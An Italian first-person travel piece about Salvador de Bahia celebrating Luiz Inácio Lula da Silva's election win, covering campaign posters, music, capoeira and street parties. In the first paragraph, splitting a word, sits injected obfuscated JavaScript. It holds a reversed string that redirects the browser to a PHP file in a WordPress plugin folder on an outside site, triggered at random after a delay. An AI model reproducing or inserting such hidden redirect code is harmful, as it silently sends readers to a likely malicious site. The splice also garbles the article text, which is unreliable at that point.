Salvador de Bahia festeggia la vittoria di Lula

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La barba bianca, lo sguardo sereno, il sorriso accattivante. I gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi cartelloni pubblicitari con la faccia di Luiz Inácio Lula da Silva mi accolgono appena sbarcato all’aeroporto. E’ il 25 ottobre, tra due giorni ci sarà il secondo turno per l’elezione del nuovo presidente del Brasile. Sono a Salvador de Bahia in vacanza, ma ho la fortuna di essere capitato da queste parti in un momento storico: al quarto tentativo Lula ce la può fare e il sindacalista ignorante potrebbe trasformarsi in un autorevole interlocutore dei potenti della Terra.
I manifesti della città, la gente per strada, le macchine addobbate come se fosse Carnevale, tutto parla di Lula. C’è una diffusione capillare dei materiali propagandistici elettorali. Dagli adesivi con la scritta “Agora Lula” (Adesso Lula) distribuiti dai volontari per le strade, alle splendide magliette rosse con la stella bianca e al centro la scritta PT, anche quella rossa. PT ovvero Partido dos Trabalhadores, il partito dei lavoratori fondato da Lula nel 1980. Altre magliette hanno stampato il 13, numero che sulla scheda elettorale corrisponde al nome di Lula. L’avversario di Lula, José Serra, è inesistente. Non esiste nelle immagini pubbliche, non esiste nei canali televisivi che pure in un recente passato hanno ferocemente ostacolato il cammino di Lula, non esiste soprattutto nelle parole della gente. Non ci sono alternative o Lula o niente.
La musica accompagna e scandisce le giornate del popolo brasiliano. Dalla mattina presto, lo stereo a tutto volume di una macchina parcheggiata sotto casa è diventata la nostra sveglia, al pomeriggio con il suono del birimbao (uno strumento costruito con un ramo e una corda d’acciaio tesa ai suoi estremi a formare un arco) che accompagna le piroette dei lottatori di capoeira (un’arte marziale di origine africana diventata una danza acrobatica brasiliana), fino a tarda notte quando la musica dal vivo rimbomba nei locali del Pelourinho, il centro storico di Bahia raccontato e narrato da Jorge Amado in molti suoi romanzi.
Ed è proprio al ritmo di balli e canti che la sera del 27 ottobre il Brasile ha accolto il trionfo di Lula. Tutti in strada a ballare, caroselli di auto puntano verso le sedi del Comitato pro-Lula e del Partito dei Lavoratori (PT). La gioia è negli sguardi delle persone, nelle bandiere rosse che sventolano, nei movimenti sensuali dei loro corpi musicali. Il difficile viene adesso, e tutti ne sono consapevoli, ma stanotte, almeno stanotte, non hanno voglia di pensarci, meglio lasciare che la “felicidad” abbia il sopravvento.
Per vincere le elezioni Lula ha dovuto scendere a patti con il Partito liberale e con gli imprenditori. Riuscirà a mantenere le promesse fatte? Il popolo brasiliano ci crede e ha dato il suo voto a Lula perché realizzi “um Brasil decente”, come recita il suo slogan elettorale . Mi raccomando compagno Lula non li tradire. Non ci tradire.
Andrea Mugnaini

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